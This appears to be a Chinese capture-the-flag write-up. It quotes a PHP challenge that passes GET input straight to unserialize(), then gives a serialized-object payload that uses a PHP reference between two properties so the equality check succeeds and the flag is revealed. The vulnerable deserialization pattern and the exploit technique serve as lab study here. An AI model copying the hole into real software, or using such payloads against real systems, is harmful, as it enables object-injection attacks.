include("flag.php");
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$flag;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
}
抬眼望去就是个反序列化函数
我们先看代码
get_magic_quotes_gpc():php版本大于等于6由于这个函数被删除所以返回false,题目中的版本是5.5所以是返回true
stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
payload:
<?php
class just4fun
{
var $enter;
var $secret;
function __construct()
{
$this->enter=&$this->secret;
}
}
echo serialize(new just4fun());
?>
想了半天不知道如何构造一个让他们相等的办法
一直失败
后来上网上查了一下这里面涉及到一个PHP浅拷贝的问题
输出aaaaa
当b&变量a时,
a的值随着b变而变
有点类似于指针的感觉
当a变的时候b也跟着变,输出bbbbbbbbbb
_construct () 为构造函数,主要用于创建对象时,为对象赋初值。
传参即可